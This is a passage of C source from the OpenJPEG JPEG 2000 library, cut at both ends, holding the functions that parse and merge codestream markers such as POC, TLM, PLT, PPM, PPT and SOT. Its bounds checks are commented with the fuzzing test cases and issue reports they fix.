>= 32) { opj_event_msg(p_manager, EVT_ERROR, "Too many POCs %d\n", l_current_poc_nb); return OPJ_FALSE; } assert(l_current_poc_nb < 32); /* now poc is in use.*/ l_tcp->POC = 1; l_current_poc = &l_tcp->pocs[l_old_poc_nb]; for (i = l_old_poc_nb; i < l_current_poc_nb; ++i) { opj_read_bytes(p_header_data, &(l_current_poc->resno0), 1); /* RSpoc_i */ ++p_header_data; opj_read_bytes(p_header_data, &(l_current_poc->compno0), l_comp_room); /* CSpoc_i */ p_header_data += l_comp_room; opj_read_bytes(p_header_data, &(l_current_poc->layno1), 2); /* LYEpoc_i */ /* make sure layer end is in acceptable bounds */ l_current_poc->layno1 = opj_uint_min(l_current_poc->layno1, l_tcp->numlayers); p_header_data += 2; opj_read_bytes(p_header_data, &(l_current_poc->resno1), 1); /* REpoc_i */ ++p_header_data; opj_read_bytes(p_header_data, &(l_current_poc->compno1), l_comp_room); /* CEpoc_i */ p_header_data += l_comp_room; opj_read_bytes(p_header_data, &l_tmp, 1); /* Ppoc_i */ ++p_header_data; l_current_poc->prg = (OPJ_PROG_ORDER) l_tmp; /* make sure comp is in acceptable bounds */ l_current_poc->compno1 = opj_uint_min(l_current_poc->compno1, l_nb_comp); ++l_current_poc; } l_tcp->numpocs = l_current_poc_nb - 1; return OPJ_TRUE; } /** * Reads a CRG marker (Component registration) * * @param p_header_data the data contained in the TLM box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the TLM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_crg(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_nb_comp; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); OPJ_UNUSED(p_header_data); l_nb_comp = p_j2k->m_private_image->numcomps; if (p_header_size != l_nb_comp * 4) { opj_event_msg(p_manager, EVT_ERROR, "Error reading CRG marker\n"); return OPJ_FALSE; } /* Do not care of this at the moment since only local variables are set here */ /* for (i = 0; i < l_nb_comp; ++i) { opj_read_bytes(p_header_data,&l_Xcrg_i,2); // Xcrg_i p_header_data+=2; opj_read_bytes(p_header_data,&l_Ycrg_i,2); // Xcrg_i p_header_data+=2; } */ return OPJ_TRUE; } /** * Reads a TLM marker (Tile Length Marker) * * @param p_header_data the data contained in the TLM box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the TLM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_tlm(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_Ztlm, l_Stlm, l_ST, l_SP, l_tot_num_tp_remaining, l_quotient, l_Ptlm_size; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); OPJ_UNUSED(p_j2k); if (p_header_size < 2) { opj_event_msg(p_manager, EVT_ERROR, "Error reading TLM marker\n"); return OPJ_FALSE; } p_header_size -= 2; opj_read_bytes(p_header_data, &l_Ztlm, 1); /* Ztlm */ ++p_header_data; opj_read_bytes(p_header_data, &l_Stlm, 1); /* Stlm */ ++p_header_data; l_ST = ((l_Stlm >> 4) & 0x3); l_SP = (l_Stlm >> 6) & 0x1; l_Ptlm_size = (l_SP + 1) * 2; l_quotient = l_Ptlm_size + l_ST; l_tot_num_tp_remaining = p_header_size % l_quotient; if (l_tot_num_tp_remaining != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading TLM marker\n"); return OPJ_FALSE; } /* FIXME Do not care of this at the moment since only local variables are set here */ /* for (i = 0; i < l_tot_num_tp; ++i) { opj_read_bytes(p_header_data,&l_Ttlm_i,l_ST); // Ttlm_i p_header_data += l_ST; opj_read_bytes(p_header_data,&l_Ptlm_i,l_Ptlm_size); // Ptlm_i p_header_data += l_Ptlm_size; }*/ return OPJ_TRUE; } /** * Reads a PLM marker (Packet length, main header marker) * * @param p_header_data the data contained in the TLM box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the TLM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_plm(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); OPJ_UNUSED(p_j2k); OPJ_UNUSED(p_header_data); if (p_header_size < 1) { opj_event_msg(p_manager, EVT_ERROR, "Error reading PLM marker\n"); return OPJ_FALSE; } /* Do not care of this at the moment since only local variables are set here */ /* opj_read_bytes(p_header_data,&l_Zplm,1); // Zplm ++p_header_data; --p_header_size; while (p_header_size > 0) { opj_read_bytes(p_header_data,&l_Nplm,1); // Nplm ++p_header_data; p_header_size -= (1+l_Nplm); if (p_header_size < 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading PLM marker\n"); return false; } for (i = 0; i < l_Nplm; ++i) { opj_read_bytes(p_header_data,&l_tmp,1); // Iplm_ij ++p_header_data; // take only the last seven bytes l_packet_len |= (l_tmp & 0x7f); if (l_tmp & 0x80) { l_packet_len <<= 7; } else { // store packet length and proceed to next packet l_packet_len = 0; } } if (l_packet_len != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading PLM marker\n"); return false; } } */ return OPJ_TRUE; } /** * Reads a PLT marker (Packet length, tile-part header) * * @param p_header_data the data contained in the PLT box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the PLT marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_plt(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_Zplt, l_tmp, l_packet_len = 0, i; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); OPJ_UNUSED(p_j2k); if (p_header_size < 1) { opj_event_msg(p_manager, EVT_ERROR, "Error reading PLT marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_Zplt, 1); /* Zplt */ ++p_header_data; --p_header_size; for (i = 0; i < p_header_size; ++i) { opj_read_bytes(p_header_data, &l_tmp, 1); /* Iplt_ij */ ++p_header_data; /* take only the last seven bytes */ l_packet_len |= (l_tmp & 0x7f); if (l_tmp & 0x80) { l_packet_len <<= 7; } else { /* store packet length and proceed to next packet */ l_packet_len = 0; } } if (l_packet_len != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading PLT marker\n"); return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a PPM marker (Packed packet headers, main header) * * @param p_header_data the data contained in the POC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the POC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_ppm( opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager) { opj_cp_t *l_cp = 00; OPJ_UINT32 l_Z_ppm; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); /* We need to have the Z_ppm element + 1 byte of Nppm/Ippm at minimum */ if (p_header_size < 2) { opj_event_msg(p_manager, EVT_ERROR, "Error reading PPM marker\n"); return OPJ_FALSE; } l_cp = &(p_j2k->m_cp); l_cp->ppm = 1; opj_read_bytes(p_header_data, &l_Z_ppm, 1); /* Z_ppm */ ++p_header_data; --p_header_size; /* check allocation needed */ if (l_cp->ppm_markers == NULL) { /* first PPM marker */ OPJ_UINT32 l_newCount = l_Z_ppm + 1U; /* can't overflow, l_Z_ppm is UINT8 */ assert(l_cp->ppm_markers_count == 0U); l_cp->ppm_markers = (opj_ppx *) opj_calloc(l_newCount, sizeof(opj_ppx)); if (l_cp->ppm_markers == NULL) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read PPM marker\n"); return OPJ_FALSE; } l_cp->ppm_markers_count = l_newCount; } else if (l_cp->ppm_markers_count <= l_Z_ppm) { OPJ_UINT32 l_newCount = l_Z_ppm + 1U; /* can't overflow, l_Z_ppm is UINT8 */ opj_ppx *new_ppm_markers; new_ppm_markers = (opj_ppx *) opj_realloc(l_cp->ppm_markers, l_newCount * sizeof(opj_ppx)); if (new_ppm_markers == NULL) { /* clean up to be done on l_cp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read PPM marker\n"); return OPJ_FALSE; } l_cp->ppm_markers = new_ppm_markers; memset(l_cp->ppm_markers + l_cp->ppm_markers_count, 0, (l_newCount - l_cp->ppm_markers_count) * sizeof(opj_ppx)); l_cp->ppm_markers_count = l_newCount; } if (l_cp->ppm_markers[l_Z_ppm].m_data != NULL) { /* clean up to be done on l_cp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Zppm %u already read\n", l_Z_ppm); return OPJ_FALSE; } l_cp->ppm_markers[l_Z_ppm].m_data = (OPJ_BYTE *) opj_malloc(p_header_size); if (l_cp->ppm_markers[l_Z_ppm].m_data == NULL) { /* clean up to be done on l_cp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read PPM marker\n"); return OPJ_FALSE; } l_cp->ppm_markers[l_Z_ppm].m_data_size = p_header_size; memcpy(l_cp->ppm_markers[l_Z_ppm].m_data, p_header_data, p_header_size); return OPJ_TRUE; } /** * Merges all PPM markers read (Packed headers, main header) * * @param p_cp main coding parameters. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_merge_ppm(opj_cp_t *p_cp, opj_event_mgr_t * p_manager) { OPJ_UINT32 i, l_ppm_data_size, l_N_ppm_remaining; /* preconditions */ assert(p_cp != 00); assert(p_manager != 00); assert(p_cp->ppm_buffer == NULL); if (p_cp->ppm == 0U) { return OPJ_TRUE; } l_ppm_data_size = 0U; l_N_ppm_remaining = 0U; for (i = 0U; i < p_cp->ppm_markers_count; ++i) { if (p_cp->ppm_markers[i].m_data != NULL) { /* standard doesn't seem to require contiguous Zppm */ OPJ_UINT32 l_N_ppm; OPJ_UINT32 l_data_size = p_cp->ppm_markers[i].m_data_size; const OPJ_BYTE* l_data = p_cp->ppm_markers[i].m_data; if (l_N_ppm_remaining >= l_data_size) { l_N_ppm_remaining -= l_data_size; l_data_size = 0U; } else { l_data += l_N_ppm_remaining; l_data_size -= l_N_ppm_remaining; l_N_ppm_remaining = 0U; } if (l_data_size > 0U) { do { /* read Nppm */ if (l_data_size < 4U) { /* clean up to be done on l_cp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Not enough bytes to read Nppm\n"); return OPJ_FALSE; } opj_read_bytes(l_data, &l_N_ppm, 4); l_data += 4; l_data_size -= 4; l_ppm_data_size += l_N_ppm; /* can't overflow, max 256 markers of max 65536 bytes, that is when PPM markers are not corrupted which is checked elsewhere */ if (l_data_size >= l_N_ppm) { l_data_size -= l_N_ppm; l_data += l_N_ppm; } else { l_N_ppm_remaining = l_N_ppm - l_data_size; l_data_size = 0U; } } while (l_data_size > 0U); } } } if (l_N_ppm_remaining != 0U) { /* clean up to be done on l_cp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Corrupted PPM markers\n"); return OPJ_FALSE; } p_cp->ppm_buffer = (OPJ_BYTE *) opj_malloc(l_ppm_data_size); if (p_cp->ppm_buffer == 00) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read PPM marker\n"); return OPJ_FALSE; } p_cp->ppm_len = l_ppm_data_size; l_ppm_data_size = 0U; l_N_ppm_remaining = 0U; for (i = 0U; i < p_cp->ppm_markers_count; ++i) { if (p_cp->ppm_markers[i].m_data != NULL) { /* standard doesn't seem to require contiguous Zppm */ OPJ_UINT32 l_N_ppm; OPJ_UINT32 l_data_size = p_cp->ppm_markers[i].m_data_size; const OPJ_BYTE* l_data = p_cp->ppm_markers[i].m_data; if (l_N_ppm_remaining >= l_data_size) { memcpy(p_cp->ppm_buffer + l_ppm_data_size, l_data, l_data_size); l_ppm_data_size += l_data_size; l_N_ppm_remaining -= l_data_size; l_data_size = 0U; } else { memcpy(p_cp->ppm_buffer + l_ppm_data_size, l_data, l_N_ppm_remaining); l_ppm_data_size += l_N_ppm_remaining; l_data += l_N_ppm_remaining; l_data_size -= l_N_ppm_remaining; l_N_ppm_remaining = 0U; } if (l_data_size > 0U) { do { /* read Nppm */ if (l_data_size < 4U) { /* clean up to be done on l_cp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Not enough bytes to read Nppm\n"); return OPJ_FALSE; } opj_read_bytes(l_data, &l_N_ppm, 4); l_data += 4; l_data_size -= 4; if (l_data_size >= l_N_ppm) { memcpy(p_cp->ppm_buffer + l_ppm_data_size, l_data, l_N_ppm); l_ppm_data_size += l_N_ppm; l_data_size -= l_N_ppm; l_data += l_N_ppm; } else { memcpy(p_cp->ppm_buffer + l_ppm_data_size, l_data, l_data_size); l_ppm_data_size += l_data_size; l_N_ppm_remaining = l_N_ppm - l_data_size; l_data_size = 0U; } } while (l_data_size > 0U); } opj_free(p_cp->ppm_markers[i].m_data); p_cp->ppm_markers[i].m_data = NULL; p_cp->ppm_markers[i].m_data_size = 0U; } } p_cp->ppm_data = p_cp->ppm_buffer; p_cp->ppm_data_size = p_cp->ppm_len; p_cp->ppm_markers_count = 0U; opj_free(p_cp->ppm_markers); p_cp->ppm_markers = NULL; return OPJ_TRUE; } /** * Reads a PPT marker (Packed packet headers, tile-part header) * * @param p_header_data the data contained in the PPT box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the PPT marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_ppt(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; OPJ_UINT32 l_Z_ppt; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); /* We need to have the Z_ppt element + 1 byte of Ippt at minimum */ if (p_header_size < 2) { opj_event_msg(p_manager, EVT_ERROR, "Error reading PPT marker\n"); return OPJ_FALSE; } l_cp = &(p_j2k->m_cp); if (l_cp->ppm) { opj_event_msg(p_manager, EVT_ERROR, "Error reading PPT marker: packet header have been previously found in the main header (PPM marker).\n"); return OPJ_FALSE; } l_tcp = &(l_cp->tcps[p_j2k->m_current_tile_number]); l_tcp->ppt = 1; opj_read_bytes(p_header_data, &l_Z_ppt, 1); /* Z_ppt */ ++p_header_data; --p_header_size; /* check allocation needed */ if (l_tcp->ppt_markers == NULL) { /* first PPT marker */ OPJ_UINT32 l_newCount = l_Z_ppt + 1U; /* can't overflow, l_Z_ppt is UINT8 */ assert(l_tcp->ppt_markers_count == 0U); l_tcp->ppt_markers = (opj_ppx *) opj_calloc(l_newCount, sizeof(opj_ppx)); if (l_tcp->ppt_markers == NULL) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read PPT marker\n"); return OPJ_FALSE; } l_tcp->ppt_markers_count = l_newCount; } else if (l_tcp->ppt_markers_count <= l_Z_ppt) { OPJ_UINT32 l_newCount = l_Z_ppt + 1U; /* can't overflow, l_Z_ppt is UINT8 */ opj_ppx *new_ppt_markers; new_ppt_markers = (opj_ppx *) opj_realloc(l_tcp->ppt_markers, l_newCount * sizeof(opj_ppx)); if (new_ppt_markers == NULL) { /* clean up to be done on l_tcp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read PPT marker\n"); return OPJ_FALSE; } l_tcp->ppt_markers = new_ppt_markers; memset(l_tcp->ppt_markers + l_tcp->ppt_markers_count, 0, (l_newCount - l_tcp->ppt_markers_count) * sizeof(opj_ppx)); l_tcp->ppt_markers_count = l_newCount; } if (l_tcp->ppt_markers[l_Z_ppt].m_data != NULL) { /* clean up to be done on l_tcp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Zppt %u already read\n", l_Z_ppt); return OPJ_FALSE; } l_tcp->ppt_markers[l_Z_ppt].m_data = (OPJ_BYTE *) opj_malloc(p_header_size); if (l_tcp->ppt_markers[l_Z_ppt].m_data == NULL) { /* clean up to be done on l_tcp destruction */ opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read PPT marker\n"); return OPJ_FALSE; } l_tcp->ppt_markers[l_Z_ppt].m_data_size = p_header_size; memcpy(l_tcp->ppt_markers[l_Z_ppt].m_data, p_header_data, p_header_size); return OPJ_TRUE; } /** * Merges all PPT markers read (Packed packet headers, tile-part header) * * @param p_tcp the tile. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_merge_ppt(opj_tcp_t *p_tcp, opj_event_mgr_t * p_manager) { OPJ_UINT32 i, l_ppt_data_size; /* preconditions */ assert(p_tcp != 00); assert(p_manager != 00); assert(p_tcp->ppt_buffer == NULL); if (p_tcp->ppt == 0U) { return OPJ_TRUE; } l_ppt_data_size = 0U; for (i = 0U; i < p_tcp->ppt_markers_count; ++i) { l_ppt_data_size += p_tcp->ppt_markers[i].m_data_size; /* can't overflow, max 256 markers of max 65536 bytes */ } p_tcp->ppt_buffer = (OPJ_BYTE *) opj_malloc(l_ppt_data_size); if (p_tcp->ppt_buffer == 00) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read PPT marker\n"); return OPJ_FALSE; } p_tcp->ppt_len = l_ppt_data_size; l_ppt_data_size = 0U; for (i = 0U; i < p_tcp->ppt_markers_count; ++i) { if (p_tcp->ppt_markers[i].m_data != NULL) { /* standard doesn't seem to require contiguous Zppt */ memcpy(p_tcp->ppt_buffer + l_ppt_data_size, p_tcp->ppt_markers[i].m_data, p_tcp->ppt_markers[i].m_data_size); l_ppt_data_size += p_tcp->ppt_markers[i].m_data_size; /* can't overflow, max 256 markers of max 65536 bytes */ opj_free(p_tcp->ppt_markers[i].m_data); p_tcp->ppt_markers[i].m_data = NULL; p_tcp->ppt_markers[i].m_data_size = 0U; } } p_tcp->ppt_markers_count = 0U; opj_free(p_tcp->ppt_markers); p_tcp->ppt_markers = NULL; p_tcp->ppt_data = p_tcp->ppt_buffer; p_tcp->ppt_data_size = p_tcp->ppt_len; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_tlm(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_BYTE * l_current_data = 00; OPJ_UINT32 l_tlm_size; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_tlm_size = 6 + (5 * p_j2k->m_specific_param.m_encoder.m_total_tile_parts); if (l_tlm_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_tlm_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write TLM marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_tlm_size; } l_current_data = p_j2k->m_specific_param.m_encoder.m_header_tile_data; /* change the way data is written to avoid seeking if possible */ /* TODO */ p_j2k->m_specific_param.m_encoder.m_tlm_start = opj_stream_tell(p_stream); opj_write_bytes(l_current_data, J2K_MS_TLM, 2); /* TLM */ l_current_data += 2; opj_write_bytes(l_current_data, l_tlm_size - 2, 2); /* Lpoc */ l_current_data += 2; opj_write_bytes(l_current_data, 0, 1); /* Ztlm=0*/ ++l_current_data; opj_write_bytes(l_current_data, 0x50, 1); /* Stlm ST=1(8bits-255 tiles max),SP=1(Ptlm=32bits) */ ++l_current_data; /* do nothing on the 5 * l_j2k->m_specific_param.m_encoder.m_total_tile_parts remaining data */ if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_tlm_size, p_manager) != l_tlm_size) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_sot(opj_j2k_t *p_j2k, OPJ_BYTE * p_data, OPJ_UINT32 p_total_data_size, OPJ_UINT32 * p_data_written, const opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); OPJ_UNUSED(p_stream); OPJ_UNUSED(p_manager); if (p_total_data_size < 12) { opj_event_msg(p_manager, EVT_ERROR, "Not enough bytes in output buffer to write SOT marker\n"); return OPJ_FALSE; } opj_write_bytes(p_data, J2K_MS_SOT, 2); /* SOT */ p_data += 2; opj_write_bytes(p_data, 10, 2); /* Lsot */ p_data += 2; opj_write_bytes(p_data, p_j2k->m_current_tile_number, 2); /* Isot */ p_data += 2; /* Psot */ p_data += 4; opj_write_bytes(p_data, p_j2k->m_specific_param.m_encoder.m_current_tile_part_number, 1); /* TPsot */ ++p_data; opj_write_bytes(p_data, p_j2k->m_cp.tcps[p_j2k->m_current_tile_number].m_nb_tile_parts, 1); /* TNsot */ ++p_data; /* UniPG>> */ #ifdef USE_JPWL /* update markers struct */ /* OPJ_BOOL res = j2k_add_marker(p_j2k->cstr_info, J2K_MS_SOT, p_j2k->sot_start, len + 2); */ assert(0 && "TODO"); #endif /* USE_JPWL */ * p_data_written = 12; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_get_sot_values(OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, OPJ_UINT32* p_tile_no, OPJ_UINT32* p_tot_len, OPJ_UINT32* p_current_part, OPJ_UINT32* p_num_parts, opj_event_mgr_t * p_manager) { /* preconditions */ assert(p_header_data != 00); assert(p_manager != 00); /* Size of this marker is fixed = 12 (we have already read marker and its size)*/ if (p_header_size != 8) { opj_event_msg(p_manager, EVT_ERROR, "Error reading SOT marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, p_tile_no, 2); /* Isot */ p_header_data += 2; opj_read_bytes(p_header_data, p_tot_len, 4); /* Psot */ p_header_data += 4; opj_read_bytes(p_header_data, p_current_part, 1); /* TPsot */ ++p_header_data; opj_read_bytes(p_header_data, p_num_parts, 1); /* TNsot */ ++p_header_data; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_read_sot(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager) { opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; OPJ_UINT32 l_tot_len, l_num_parts = 0; OPJ_UINT32 l_current_part; OPJ_UINT32 l_tile_x, l_tile_y; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); if (! opj_j2k_get_sot_values(p_header_data, p_header_size, &(p_j2k->m_current_tile_number), &l_tot_len, &l_current_part, &l_num_parts, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading SOT marker\n"); return OPJ_FALSE; } l_cp = &(p_j2k->m_cp); /* testcase 2.pdf.SIGFPE.706.1112 */ if (p_j2k->m_current_tile_number >= l_cp->tw * l_cp->th) { opj_event_msg(p_manager, EVT_ERROR, "Invalid tile number %d\n", p_j2k->m_current_tile_number); return OPJ_FALSE; } l_tcp = &l_cp->tcps[p_j2k->m_current_tile_number]; l_tile_x = p_j2k->m_current_tile_number % l_cp->tw; l_tile_y = p_j2k->m_current_tile_number / l_cp->tw; /* Fixes issue with id_000020,sig_06,src_001958,op_flip4,pos_149 */ /* of https://github.com/uclouvain/openjpeg/issues/939 */ /* We must avoid reading twice the same tile part number for a given tile */ /* so as to avoid various issues, like opj_j2k_merge_ppt being called */ /* several times. */ /* ISO 15444-1 A.4.2 Start of tile-part (SOT) mandates that tile parts */ /* should appear in increasing order. */ if (l_tcp->m_current_tile_part_number + 1 != (OPJ_INT32)l_current_part) { opj_event_msg(p_manager, EVT_ERROR, "Invalid tile part index for tile number %d. " "Got %d, expected %d\n", p_j2k->m_current_tile_number, l_current_part, l_tcp->m_current_tile_part_number + 1); return OPJ_FALSE; } ++ l_tcp->m_current_tile_part_number; #ifdef USE_JPWL if (l_cp->correct) { OPJ_UINT32 tileno = p_j2k->m_current_tile_number; static OPJ_UINT32 backup_tileno = 0; /* tileno is negative or larger than the number of tiles!!! */ if (tileno > (l_cp->tw * l_cp->th)) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: bad tile number (%d out of a maximum of %d)\n", tileno, (l_cp->tw * l_cp->th)); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } /* we try to correct */ tileno = backup_tileno; opj_event_msg(p_manager, EVT_WARNING, "- trying to adjust this\n" "- setting tile number to %d\n", tileno); } /* keep your private count of tiles */ backup_tileno++; }; #endif /* USE_JPWL */ /* look for the tile in the list of already processed tile (in parts). */ /* Optimization possible here with a more complex data structure and with the removing of tiles */ /* since the time taken by this function can only grow at the time */ /* PSot should be equal to zero or >=14 or <= 2^32-1 */ if ((l_tot_len != 0) && (l_tot_len < 14)) { if (l_tot_len == 12) { /* MSD: Special case for the PHR data which are read by kakadu*/ opj_event_msg(p_manager, EVT_WARNING, "Empty SOT marker detected: Psot=%d.\n", l_tot_len); } else { opj_event_msg(p_manager, EVT_ERROR, "Psot value is not correct regards to the JPEG2000 norm: %d.\n", l_tot_len); return OPJ_FALSE; } } #ifdef USE_JPWL if (l_cp->correct) { /* totlen is negative or larger than the bytes left!!! */ if (/*(l_tot_len < 0) ||*/ (l_tot_len > p_header_size)) { /* FIXME it seems correct; for info in V1 -> (p_stream_numbytesleft(p_stream) + 8))) { */ opj_event_msg(p_manager, EVT_ERROR, "JPWL: bad tile byte size (%d bytes against %d bytes left)\n", l_tot_len, p_header_size); /* FIXME it seems correct; for info in V1 -> p_stream_numbytesleft(p_stream) + 8); */ if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } /* we try to correct */ l_tot_len = 0; opj_event_msg(p_manager, EVT_WARNING, "- trying to adjust this\n" "- setting Psot to %d => assuming it is the last tile\n", l_tot_len); } }; #endif /* USE_JPWL */ /* Ref A.4.2: Psot could be equal zero if it is the last tile-part of the codestream.*/ if (!l_tot_len) { opj_event_msg(p_manager, EVT_INFO, "Psot value of the current tile-part is equal to zero, " "we assuming it is the last tile-part of the codestream.\n"); p_j2k->m_specific_param.m_decoder.m_last_tile_part = 1; } if (l_tcp->m_nb_tile_parts != 0 && l_current_part >= l_tcp->m_nb_tile_parts) { /* Fixes https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=2851 */ opj_event_msg(p_manager, EVT_ERROR, "In SOT marker, TPSot (%d) is not valid regards to the previous " "number of tile-part (%d), giving up\n", l_current_part, l_tcp->m_nb_tile_parts); p_j2k->m_specific_param.m_decoder.m_last_tile_part = 1; return OPJ_FALSE; } if (l_num_parts != 0) { /* Number of tile-part header is provided by this tile-part header */ l_num_parts += p_j2k->m_specific_param.m_decoder.m_nb_tile_parts_correction; /* Useful to manage the case of textGBR.jp2 file because two values of TNSot are allowed: the correct numbers of * tile-parts for that tile and zero (A.4.2 of 15444-1 : 2002). */ if (l_tcp->m_nb_tile_parts) { if (l_current_part >= l_tcp->m_nb_tile_parts) { opj_event_msg(p_manager, EVT_ERROR, "In SOT marker, TPSot (%d) is not valid regards to the current " "number of tile-part (%d), giving up\n", l_current_part, l_tcp->m_nb_tile_parts); p_j2k->m_specific_param.m_decoder.m_last_tile_part = 1; return OPJ_FALSE; } } if (l_current_part >= l_num_parts) { /* testcase 451.pdf.SIGSEGV.ce9.3723 */ opj_event_msg(p_manager, EVT_ERROR, "In SOT marker, TPSot (%d) is not valid regards to the current " "number of tile-part (header) (%d), giving up\n", l_current_part, l_num_parts); p_j2k->m_specific_param.m_decoder.m_last_tile_part = 1; return OPJ_FALSE; } l_tcp->m_nb_tile_parts = l_num_parts; } /* If know the number of tile part header we will check if we didn't read the last*/ if (l_tcp->m_nb_tile_parts) { if (l_tcp->m_nb_tile_parts == (l_current_part + 1)) { p_j2k->m_specific_param.m_decoder.m_can_decode = 1; /* Process the last tile-part header*/ } } if (!p_j2k->m_specific_param.m_decoder.m_last_tile_part) { /* Keep the size of data to skip after this marker */ p_j2k->m_specific_param.m_decoder.m_sot_length = l_tot_len - 12; /* SOT_marker_size = 12 */ } else { /* FIXME: need to be computed from the number of bytes remaining in the codestream */ p_j2k->m_specific_param.m_decoder.m_sot_length = 0; } p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_TPH; /* Check if the current tile is outside the area we want decode or not corresponding to the tile index*/ if (p_j2k->m_specific_param.m_decoder.m_tile_ind_to_dec == -1) { p_j2k->m_specific_param.m_decoder.m_skip_data = (l_tile_x < p_j2k->m_specific_param.m_decoder.m_start_tile_x) || (l_tile_x >= p_j2k->m_specific_param.m_decoder.m_end_tile_x) || (l_tile_y < p_j2k->m_specific_param.m_decoder.m_start_tile_y) || (l_tile_y >= p_j2k->m_specific_param.m_decoder.m_end_tile_y); } else { assert(p_j2k->m_specific_param.m_decoder.m_tile_ind_to_dec >= 0); p_j2k->m_specific_param.m_decoder.m_skip_data = (p_j2k->m_current_tile_number != (OPJ_UINT32) p_j2k->m_specific_param.m_decoder.m_tile_ind_to_dec); } /* Index */ if (p_j2k->cstr_index) { assert(p_j2k->cstr_index->tile_index != 00); p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tileno = p_j2k->m_current_tile_number; p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_tpsno = l_current_part; if (l_num_parts != 0) { p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].nb_tps = 